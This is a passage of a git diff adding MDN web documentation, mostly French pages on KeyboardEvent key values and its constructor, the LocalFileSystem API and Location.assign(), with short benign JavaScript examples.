+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication13"</code></td>
+   <td>The 13th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchC</code> (0x1008FF4C)<br>
+    <code>Qt::Key_LaunchC</code> (0x010000AE)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication14"</code></td>
+   <td>The 14th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchD</code> (0x1008FF4D)<br>
+    <code>Qt::Key_LaunchD</code> (0x010000AF)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication15"</code></td>
+   <td>The 15th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchE</code> (0x1008FF4E)<br>
+    <code>Qt::Key_LaunchE</code> (0x010000B0)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication16"</code></td>
+   <td>The 16th generic application launcher button.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchF</code> (0x1008FF4F)<br>
+    <code>Qt::Key_LaunchF</code> (0x010000B1)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, and Firefox (36 and earlier) use <code>"SelectMedia"</code> instead of <code>"LaunchMediaPlayer"</code>. Firefox 37 through Firefox 48 use <code>"MediaSelect"</code>. Firefox 49 has been updated to match the latest specification, and to return <code>"LaunchMediaPlayer"</code>.</p>
+
+<p>[2] Google Chrome 57 and earlier returned <code>"LaunchMyComputer"</code> instead of <code>"LaunchApplication1"</code>. See <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> for more information.</p>
+
+<p>[3] Google Chrome 57 and earlier returned <code>"LaunchCalculator"</code> instead of <code>"LaunchApplication2"</code>. See <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> for more information.</p>
+
+<p>[4] Prior to Firefox 37, Firefox returned the key code <code>"LaunchApplication1"</code> instead of "<code>LaunchWebBrowser"</code> for the Web browser key.</p>
+
+<p>[5] Firefox introduced support for this key in Firefox 37; prior to that, this key was reported as <code>"Unidentified"</code>.</p>
+
+<h2 id="Browser_control_keys">Browser control keys</h2>
+
+<p>Some keyboards include special keys for controlling Web browsers. Those keys follow.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"BrowserBack"</code></td>
+   <td>Navigates to the previous content or page in the current Web view's history.</td>
+   <td><code>VK_BROWSER_BACK</code> (0xA6)<br>
+    <code>APPCOMMAND_BROWSER_BACKWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Back</code> (0x1008FF26)<br>
+    <code>Qt::Key_Back</code> (0x01000061)</td>
+   <td><code>KEYCODE_BACK</code> (4)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserFavorites"</code> [1]</td>
+   <td>Opens the user's list of bookmarks/favorites.</td>
+   <td><code>VK_BROWSER_FAVORITES</code> (0xAB)<br>
+    <code>APPCOMMAND_BROWSER_FAVORITES</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Favorites</code> (0x1008FF30)<br>
+    <code>GDK_KEY_MySites</code> (0x1008FF67)<br>
+    <code>Qt::Favorites</code> (0x01000091)</td>
+   <td><code>KEYCODE_BOOKMARK</code> (174)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserForward"</code></td>
+   <td>Navigates to the next content or page in the current Web view's history.</td>
+   <td><code>VK_BROWSER_FORWARD</code> (0xA7)<br>
+    <code>APPCOMMAND_BROWSER_FORWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Forward</code> (0x1008FF27)<br>
+    <code>Qt::Key_Forward</code> (0x01000062)</td>
+   <td><code>KEYCODE_FORWARD</code> (125)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserHome"</code></td>
+   <td>Navigates to the user's preferred home page.</td>
+   <td><code>VK_BROWSER_HOME</code> (0xAC)<br>
+    <code>APPCOMMAND_BROWSER_HOME</code></td>
+   <td></td>
+   <td><code>GDK_KEY_HomePage</code> (0x1008FF18)<br>
+    <code>Qt::Key_HomePage</code> (0x01000090)</td>
+   <td><code>KEYCODE_HOME</code> (3)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserRefresh"</code></td>
+   <td>Refreshes the current page or contentl.</td>
+   <td><code>VK_BROWSER_REFRESH</code> (0xA8)<br>
+    <code>APPCOMMAND_BROWSER_REFRESH</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Refresh</code> (0x1008FF29)<br>
+    <code>GDK_KEY_Reload</code> (0x1008FF73)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"BrowserSearch"</code></td>
+   <td>Activates the user's preferred search engine or the search interface within their browser.</td>
+   <td><code>VK_BROWSER_SEARCH</code> (0xAA)<br>
+    <code>APPCOMMAND_BROWSER_SEARCH</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Search</code> (0x1008FF1B)<br>
+    <code>Qt::Key_Search</code> (0x01000092)</td>
+   <td><code>KEYCODE_SEARCH</code> (84)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserStop"</code></td>
+   <td>Stops loading the currently displayed Web view or content.</td>
+   <td><code>VK_BROWSER_STOP</code> (0xA9)<br>
+    <code>APPCOMMAND_BROWSER_STOP</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Stop</code> (0x1008FF28)<br>
+    <code>Qt::Key_Search</code> (0x01000063)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Prior to Firefox 37, this key's value was reported as <code>"Unidentified"</code>.</p>
+
+<h2 id="Numeric_keypad_keys">Numeric keypad keys</h2>
+
+<p>These keys are found on the keyboard's numeric keypad. However, not all are present on every keyboard. Although typical numeric keypads have numeric keys from <kbd>0</kbd> to <kbd>9</kbd> (encoded as <code>"0"</code> through <code>"9"</code>), some multimedia keyboards include additional number keys for higher numbers.</p>
+
+<div class="note">
+<p>The <kbd>10</kbd> key, if present, generates events with the <code>key</code> value of <code>"0"</code>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Decimal"</code> [1] {{obsolete_inline}}</td>
+   <td>The decimal point key (typically <kbd>.</kbd> or <kbd>,</kbd> depending on the region. In newer browsers, this value to simply be the character generated by the decimal key (one of those two characters). [1]</td>
+   <td><code>VK_DECIMAL</code> (0x6E)</td>
+   <td><code>kVK_ANSI_KeypadDecimal</code> (0x41)</td>
+   <td><code>GDK_KEY_KP_Decimal</code> (0xFFAE)<br>
+     </td>
+   <td><code>KEYCODE_NUMPAD_DOT</code> (158)</td>
+  </tr>
+  <tr>
+   <td><code>"Key11"</code></td>
+   <td>The <kbd>11</kbd> key found on certain media numeric keypads.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Key12"</code></td>
+   <td>The <kbd>12</kbd> key found on certain media numeric keypads.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Multiply"</code> [1] {{obsolete_inline}}</td>
+   <td>The numeric keypad's multiplication key, <kbd>*</kbd>.</td>
+   <td><code>VK_MULTIPLY</code> (0x6A)</td>
+   <td><code>kVK_ANSI_KeypadMultiply</code> (0x43)</td>
+   <td><code>GDK_KEY_KP_Multiply</code> (0xFFAA)<br>
+    <code>Qt::Key_Multiply</code> (0x0D7)</td>
+   <td><code>KEYCODE_NUMPAD_MULTIPLY</code> (155)</td>
+  </tr>
+  <tr>
+   <td><code>"Add"</code> [1] {{obsolete_inline}}</td>
+   <td>The numeric keypad's addition key, <kbd>+</kbd>.</td>
+   <td><code>VK_ADD</code> (0x6B)</td>
+   <td><code>kVK_ANSI_KeypadPlus</code> (0x45)</td>
+   <td><code>GDK_KEY_KP_Add</code> (0xFFAB)</td>
+   <td><code>KEYCODE_NUMPAD_ADD</code> (157)</td>
+  </tr>
+  <tr>
+   <td><code>"Clear"</code></td>
+   <td>The numeric keypad's <kbd>Clear</kbd> key.</td>
+   <td></td>
+   <td><code>kVK_ANSI_KeypadClear</code> (0x47)</td>
+   <td><code>GDK_KEY_Clear</code> (0xFF0B)<br>
+    <code>Qt::Key_Clear</code> (0x0100000B)</td>
+   <td><code>KEYCODE_CLEAR</code> (28)</td>
+  </tr>
+  <tr>
+   <td><code>"Divide"</code> [1] {{obsolete_inline}}</td>
+   <td>The numeric keypad's division key, /.</td>
+   <td><code>VK_DIVIDE</code> (0x6F)</td>
+   <td><code>kVK_ANSI_KeypadDivide</code> (0x4B)</td>
+   <td><code>GDK_KEY_KP_Divide</code> (0xFFAF)<br>
+    <code>Qt::Key_Slash</code> (0x2F)</td>
+   <td><code>KEYCODE_NUMPAD_DIVIDE</code> (154)</td>
+  </tr>
+  <tr>
+   <td><code>"Subtract"</code> [1] {{obsolete_inline}}</td>
+   <td>The numeric keypad's subtraction key, -.</td>
+   <td><code>VK_SUBTRACT</code> (0x6D)</td>
+   <td><code>kVK_ANSI_KeypadMinus</code> (0x4E)</td>
+   <td><code>GDK_KEY_KP_Subtract</code> (0xFFAD)</td>
+   <td><code>KEYCODE_NUMPAD_SUBTRACT</code> (156)</td>
+  </tr>
+  <tr>
+   <td><code>"Separator"</code> [1]</td>
+   <td>The numeric keypad's places separator character (in the United States, this is a comma, but elsewhere it is frequently a period).</td>
+   <td><code>VK_SEPARATOR</code> (0x6C)</td>
+   <td><code>kVK_JIS_KeypadComma</code> (0x5F)</td>
+   <td><code>GDK_KEY_KP_Separator</code> (0xFFAC)<br>
+     </td>
+   <td><code>KEYCODE_NUMPAD_COMMA</code> (159)</td>
+  </tr>
+  <tr>
+   <td>"0" through "9"</td>
+   <td>The actual digit keys on the numeric keypad.</td>
+   <td><code>VK_NUMPAD0</code> (0x60) - <code>VK_NUMPAD9</code> (0x69)</td>
+   <td><code>kVK_Keypad0</code> (0x52) - <code>kVK_Keypad9</code> (0x5C)</td>
+   <td><code>GDK_KEY_KP_0</code> (0xFFB0) - <code>GDK_KEY_KP_9</code> (0xFFB9)</td>
+   <td><code>KEYCODE_NUMPAD_0</code> (144) - <code>KEYCODE_NUMPAD_9</code> (153)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] While older browsers used words like <code>"Add"</code>, <code>"Decimal"</code>, <code>"Multiply"</code>, and so forth modern browsers identify these using the actual character (<code>"+"</code>, <code>"."</code>, <code>"*"</code>, and so forth).</p>
diff --git a/files/fr/web/api/keyboardevent/keyboardevent/index.html b/files/fr/web/api/keyboardevent/keyboardevent/index.html
new file mode 100644
index 0000000000..2f63832ae4
--- /dev/null
+++ b/files/fr/web/api/keyboardevent/keyboardevent/index.html
@@ -0,0 +1,86 @@
+---
+title: KeyboardEvent()
+slug: Web/API/KeyboardEvent/KeyboardEvent
+tags:
+  - API
+  - Clavier
+  - Constructeur
+  - DOM
+  - évènements
+translation_of: Web/API/KeyboardEvent/KeyboardEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Le constructeur <strong><code>KeyboardEvent()</code></strong> crée un nouveau {{domxref("KeyboardEvent")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"> <em>event</em> = new KeyboardEvent(<em>typeArg</em>, <em>KeyboardEventInit</em>);</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>Une représentation du nom de l'évènement sous forme de {{domxref("DOMString")}}.</dd>
+ <dt><em>KeyboardEventInit</em>{{optional_inline}}</dt>
+</dl>
+
+<dl>
+ <dd>Un dictionnaire <code>KeyboardEventInit</code> ayant les champs suivants :
+
+ <ul>
+  <li><code>"key"</code>, optionnel et par défaut <code>""</code>, de type {{domxref("DOMString")}}, qui définit la valeur de {{domxref("KeyboardEvent.key")}}.</li>
+  <li><code>"code"</code>, optionnel et par défaut <code>""</code>, de type {{domxref("DOMString")}}, qui définit la valeur de {{domxref("KeyboardEvent.code")}}.</li>
+  <li><code>"location"</code>, optionnel et par défaut <code>0</code>, de type <code>unsigned long</code>, qui définit la valeur de {{domxref("KeyboardEvent.location")}}.</li>
+  <li><code>"ctrlKey"</code>, optionnel et par défaut <code>false</code>, de type {{jsxref("Boolean")}}, qui définit la valeur de {{domxref("KeyboardEvent.ctrlKey")}}.</li>
+  <li><code>"shiftKey"</code>, optionnel et par défaut <code>false</code>, de type {{jsxref("Boolean")}}, qui définit la valeur de {{domxref("KeyboardEvent.shiftKey")}}.</li>
+  <li><code>"altKey"</code>, optionnel et par défaut <code>false</code>, de type {{jsxref("Boolean")}}, qui définit la valeur de {{domxref("KeyboardEvent.altKey")}}.</li>
+  <li><code>"metaKey"</code>, optionnel et par défaut <code>false</code>, de type {{jsxref("Boolean")}}, qui définit la valeur de {{domxref("KeyboardEvent.metaKey")}}.</li>
+  <li><code>"repeat"</code>, optionnel et par défaut <code>false</code>, de type {{jsxref("Boolean")}}, qui définit la valeur de {{domxref("KeyboardEvent.repeat")}}.</li>
+  <li><code>"isComposing"</code>, optionnel et par défaut <code>false</code>, de type {{jsxref("Boolean")}}, qui définit la valeur de {{domxref("KeyboardEvent.isComposing")}}.</li>
+  <li><code>"charCode"</code>, optionnel et par défaut <code>0</code>, de type <code>unsigned long</code>, qui définit la valeur du déprécié {{domxref("KeyboardEvent.charCode")}}.</li>
+  <li><code>"keyCode"</code>, optionnel et par défaut <code>0</code>, de type <code>unsigned long</code>, qui définit la valeur du déprécié {{domxref("KeyboardEvent.keyCode")}}.</li>
+  <li><code>"which"</code>, optionnel et par défaut <code>0</code>, de type <code>unsigned long</code>, qui définit la valeur du déprécié {{domxref("KeyboardEvent.which")}}.</li>
+ </ul>
+
+ <div class="note">
+ <p><em>Le dictionnaire <code>KeyboardEventInit</code></em><em> accepte aussi les champs des dictionnaires  {{domxref("UIEvent.UIEvent", "UIEventInit")}} et {{domxref("Event.Event", "EventInit")}}.</em></p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events','#interface-keyboardevent','KeyboardEvent()')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td>Définition actuelle.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#interface-KeyboardEvent','KeyboardEvent()')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.KeyboardEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent")}}, l'interface des objets qu'il construit.</li>
+</ul>
diff --git a/files/fr/web/api/localfilesystem/index.html b/files/fr/web/api/localfilesystem/index.html
new file mode 100644
index 0000000000..7740dded97
--- /dev/null
+++ b/files/fr/web/api/localfilesystem/index.html
@@ -0,0 +1,202 @@
+---
+title: LocalFileSystem
+slug: Web/API/LocalFileSystem
+translation_of: Web/API/LocalFileSystem
+---
+<div>{{APIRef("File System API")}}{{non-standard_header()}}</div>
+
+<p>L'interface <code>LocalFileSystem</code>, appartenant à l'API <a href="/fr/docs/Web/API/File_and_Directory_Entries_API/Introduction" title="en/DOM/File_API/File_System_APIB">File System</a> fournit un accès à un système de fichier placé dans un bac à sable (<em>sandboxed file system</em>). Les méthodes de cette interface sont implémentées par les objets implémentants <code><a href="/fr/docs/Web/API/Window" title="cn/DOM/window">Window</a></code> ou <code><a href="/fr/docs/Web/API/Worker" title="En/DOM/Worker">Worker</a></code>.</p>
+
+<h2 id="Concepts_de_base">Concepts de base</h2>
+
+<h3 id="Créer_un_nouvel_espace_de_stockage">Créer un nouvel espace de stockage</h3>
+
+<p>Il est possible de demander l'accès à un système de fichier dans un bac à sable en utilisant la méthode <code>window.requestFileSystem()</code>. Lorsque la création de cet espace est effectuée, une fonction de rappel (<em>callback</em>) est appelée avec un objet <code><a href="/fr/docs/Web/API/FileSystem" title="en/DOM/File_API/File_System_API/FileSystem">FileSystem</a></code> contenant deux propriétés : le nom et la racine du système de fichier ainsi créé.</p>
+
+<p>Il est possible d'appeler cette méthode plusieurs fois pour différentes situations : on peut créer un espace de stockage temporaire et/ou un espace de stockage permanent (voir <a href="/fr/docs/Web/API/File_and_Directory_Entries_API/Introduction" title="https://developer.mozilla.org/en/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API#The_File_System_API_can_use_different_storage_types">l'article sur les concepts de base</a> pour approfondir). On peut ainsi créer un espace de stockage temporaire pour mettre en cache certains fichiers (des images par exemple) afin d'améliorer les performances ou créer un espace de stockage pour des données applicatives (ex. des brouillons de messages créés par l'utilisateur) qui ne devraient pas être supprimées avant d'être répliquées sur les serveurs distants.</p>
+
+<h3 id="Utiliser_un_stockage_persistent">Utiliser un stockage persistent</h3>
+
+<p>La méthode <code>requestFileSystem()</code> permet d'indiquer si on souhaite un stockage persistent ou temporaire. Un espace de stockage persistent est conservé dans le navigateur tant que l'utilisateur ou que l'application ne l'a pas supprimé. Pour créer un espace de stockage permanent, l'utilisateur doit fournir la permission à l'application de l'utiliser. En revanche, un espace de stockage temporaire peut être créé sans permission mais peut être libéré par le navigateur à tout moment.</p>
+
+<p>Pour utiliser un stockage permanent, Chrome expose la méthode <code>requestQuota</code>. Il faut invoquer cette méthode ainsi :</p>
+
+<pre class="notranslate">var requestedBytes = 1024*1024*10; // 10MB
+
+navigator.webkitPersistentStorage.requestQuota (
+    requestedBytes, function(grantedBytes) {
+        window.requestFileSystem(PERSISTENT, grantedBytes, onInitFs, errorHandler);
+
+    }, function(e) { console.log('Error', e); }
+);
+</pre>
+
+<p>L'utilisateur doit fournir la permission à l'application pour enregistrer des données locales avant que l'application puisse utiliser le stockage permanent. Une fois que l'utilisateur a autorisé l'accès, il n'est plus nécessaire d'appeler <code>requestQuota()</code> (des appels ultérieurs n'auront aucun effet).</p>
+
+<p>Une autre API, <em>Quota Management</em>, permet de connaître le quota alloué et l'espace consommé pour l'origine courante. On peut ainsi utiliser la méthode <code>window.webkitPersistentStorage.queryUsageAndQuota()</code>. Pour en savoir plus, voir cette <a href="http://stackoverflow.com/a/29662985/89484">réponse StackOverflow</a>.</p>
+
+<h3 id="Origine_unique">Origine unique</h3>
+
+<p>Le système de fichier est accessible depuis une seule origine. Cela signifie que votre application ne peut pas lire ou écrire des fichiers dans les systèmes de fichier éventuellement créés par d'autres applications. Par ailleurs, votre application ne peut pas accéder aux fichiers d'un répertoire arbitraire (ex. Mes Images, Mes Documents) sur le disque de l'utilisateur. Pour plus d'informations, voir <a href="/fr/docs/Web/API/File_and_Directory_Entries_API/Introduction" title="https://developer.mozilla.org/en/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API#Restrictions">l'article d'introduction aux concepts de base</a>.</p>
+
+<h3 id="Exemple">Exemple</h3>
+
+<p>Voici un fragment de code qui illustre comment demander l'accès à un stockage sur le système de fichier.</p>
+
+<pre class="brush: js notranslate">// Gestion des préfixes spécifiques au navigateur
+window.requestFileSystem  = window.requestFileSystem || window.webkitRequestFileSystem;
+
+// Le premier paramètre indique le type de stockage
+// Ensuite, on indique la taille de l'espace demandé (en octets)
+// initFs est la fonction à invoquer en cas de succès
+// errorHandler est la fonction à invoquer en cas d'erreur ou de refus d'accès
+
+window.requestFileSystem(window.PERSISTENT, 1024*1024,onInitFs,errorHandler);
+</pre>
+
+<h2 id="Constantes">Constantes</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Valeur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TEMPORARY</code></td>
+   <td><code>0</code></td>
+   <td>Un espace de stockage temporaire qui peut être supprimé par le navigateur lorsque celui-ci l'estime nécessaire.</td>
+  </tr>
+  <tr>
+   <td><code>PERSISTENT</code></td>
+   <td><code>1</code></td>
+   <td>Un espace de stockage qui reste permanent dans le navigateur tant que l'utilisateur ou que l'application ne l'a pas supprimé. L'utilisateur doit fournir une permission avant qu'une application puisse utiliser ce type de stockage.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="requestFileSystem" name="requestFileSystem"><code>requestFileSystem()</code></h3>
+
+<p>Cette méthode permet de demander l'accès à uyn système de fichier pour stocker des données. On peut ainsi accéder à un système de fichier placé dans un bac à sable en demandant un objet <code>LocalFileSystem</code> avec la méthode globale <code>window.requestFileSystem()</code>.</p>
+
+<pre class="notranslate">void requestFileSystem(
+  in unsigned short type,
+  in unsigned long long size,
+  in FileSystemCallback successCallback,
+  in ErrorCallback errorCallback
+);</pre>
+
+<h5 id="Paramètres">Paramètres</h5>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Le type de stockage sur le système de fichier. La valeur de cet argument peut être <code>TEMPORARY</code> ou <code>PERSISTENT</code>.</dd>
+ <dt><code>size</code></dt>
+ <dd>L'espace de stockage, exprimé en octets, nécessaire à l'application.</dd>
+ <dt><code>successCallback</code></dt>
+ <dd>Une fonction de rappel à invoquer lorsque le navigateur fournit bien l'accès au système de fichier. Cette fonction reçoit en argument un objet <code><a href="/fr/docs/Web/API/FileSystem" title="en/DOM/File_API/File_System_API/FileSystem">FileSystem</a></code> avec deux propriétés :
+ <ul>
+  <li><code>name</code> - le nom unique, assigné par le navigateur au système de fichiers.</li>
+  <li><code>root</code> - un objet <code>DirectoryEntry</code> en lecture seule qui représente la racine du système de fichier.</li>
+ </ul>
+ </dd>
+ <dt><code>errorCallback</code></dt>
+ <dd>Une fonction de rappel à invoquer en cas d'erreur ou lorsque l'accès n'est pas autorisé. Cette fonction reçoit un objet <code>FileError</code> comme argument.</dd>
+</dl>
+
+<h5 id="Valeur_de_retour">Valeur de retour</h5>
+
+<dl>
+ <dt><code>void</code></dt>
+</dl>
+
+<h5 id="Exceptions">Exceptions</h5>
+
+<p>Cette méthode peut lever une exception <code><a href="/en-US/docs/Web/API/FileError" title="en/DOM/File_API/File_System_API/FileException">FileError</a></code> avec le code suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><code>SECURITY_ERROR</code></td>
+   <td>L'application n'est pas autorisée à accéder à l'interface <em>File System</em>. Par exemple, il est interdit d'utiliser <code>file://</code>. Pour plus de détails, consulter <a href="/fr/docs/Web/API/File_and_Directory_Entries_API/Introduction#restrictions" title="https://developer.mozilla.org/en/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API#You_cannot_run_your_app_from_file:.2F.2F">l'article d'introduction aux concepts de base</a>.</td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="resolveLocalFileSystemURL" name="resolveLocalFileSystemURL()"><code>resolveLocalFileSystemURL()</code></h3>
+
+<p>Cette méthode permet de consulter une entrée pour un fichier ou un répertoire avec une URL locale.</p>
+
+<pre class="notranslate">void resolveLocalFileSystemURL(
+  in DOMString url,
+  in EntryCallback successCallback,
+  in optional ErrorCallback errorCallback
+);
+</pre>
+
+<h5 id="Paramètres_2">Paramètres</h5>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>L'URL du fichier local ou du répertoire sur le système de fichier.</dd>
+ <dt><code>successCallback</code></dt>
+ <dd>Une fonction de rappel à invoquer lorsque le navigateur fournit le fichier ou le répertoire de l'URL indiquée.</dd>
+ <dt><code>errorCallback</code></dt>
+ <dd>Une fonction de rappel à invoquer en cas d'erreur ou lorsque l'accès est refusé.</dd>
+</dl>
+
+<h5 id="Valeur_de_retour_2">Valeur de retour</h5>
+
+<dl>
+ <dt><code>void</code></dt>
+</dl>
+
+<h5 id="Exceptions_2">Exceptions</h5>
+
+<p>Cette méthode peut lever une exception <code><a href="/fr/docs/Web/API/FileError" title="en/DOM/File_API/File_System_API/FileException">FileError</a></code> avec l'un des code suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><code>ENCODING_ERR</code></td>
+   <td>La syntaxe de l'URL est invalide.</td>
+  </tr>
+  <tr>
+   <td><code>NOT_FOUND_ERR</code></td>
+   <td>La structure de l'URL est correcte mais elle réfère à une ressource qui n'existe pas.</td>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SECURITY_ERR</code></td>
+   <td>L'application n'est pas autorisée à accéder à l'interface pour le système de fichier.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Voir <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> pour contribuer à ces données de compatibilité.</div>
+
+<p>{{Compat("api.LocalFileSystem")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La spécification : {{spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "WD")}}</li>
+ <li><a href="/fr/docs/Web/API/File_and_Directory_Entries_API/Introduction" title="en/DOM/File_API/File_System_API">La référence pour l'API <em>File System</em></a></li>
+ <li><a href="/fr/docs/Web/API/File_and_Directory_Entries_API/Introduction" title="en/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API">Une introduction aux concepts de base de l'API <em>File System</em></a></li>
+</ul>
diff --git a/files/fr/web/api/location/assign/index.html b/files/fr/web/api/location/assign/index.html
new file mode 100644
index 0000000000..3e0476b3be
--- /dev/null
+++ b/files/fr/web/api/location/assign/index.html
@@ -0,0 +1,71 @@
+---
+title: Location.assign()
+slug: Web/API/Location/assign
+tags:
+  - API
+  - JavaScript
+  - Location
+  - Méthode
+  - Reference
+  - WebAPI
+translation_of: Web/API/Location/assign
+---
+<p>{{ APIRef("Location") }}</p>
+
+<p>La méthode <code><strong>Location.assign()</strong></code> charge et affiche dans la fenêtre le document situé à l'URL spécifiée.</p>
+
+<p>Si l'action est impossible à cause d'une violation de sécurité, une {{domxref("DOMException")}} de type <code>SECURITY_ERROR</code> est lancée. Cela se produit si l'origine du script appelant est différente de l'origine de la page initialement désignée par l'objet {{domxref("Location")}}, principalement quand le script est hébergé sur un autre domaine.</p>
+
+<p>Si l'URL spécifiée n'est pas valide, une {{domxref("DOMException")}} de type <code>SYNTAX_ERROR</code> est lancée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>object</em>.assign(<em>url</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>url</em></dt>
+ <dd>Une {{domxref("DOMString")}} contenant l'URL de la page vers laquelle naviguer.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// Navigue vers l'article Location.reload
+document.location.assign('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-assign", "Location.assign()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de différence avec {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-assign", "Location.assign()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+
+
+<p>{{Compat("api.Location.assign")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Location")}} à laquelle appartient cette méthode.</li>
+ <li>Méthodes similaires : {{domxref("Location.replace()")}} et {{domxref("Location.reload()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/location/index.html b/files/fr/web/api/location/index.html
new file mode 100644
index 0000000000..52372c8da1
--- /dev/null
+++ b/files/fr/web/api/location/index.html
@@ -0,0 +1,155 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+  - API
+  - HTML DOM
+  - Interface
